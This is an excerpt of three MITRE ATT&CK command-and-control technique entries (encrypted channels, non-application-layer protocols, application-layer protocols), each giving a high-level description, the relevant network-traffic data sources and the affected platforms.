
Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre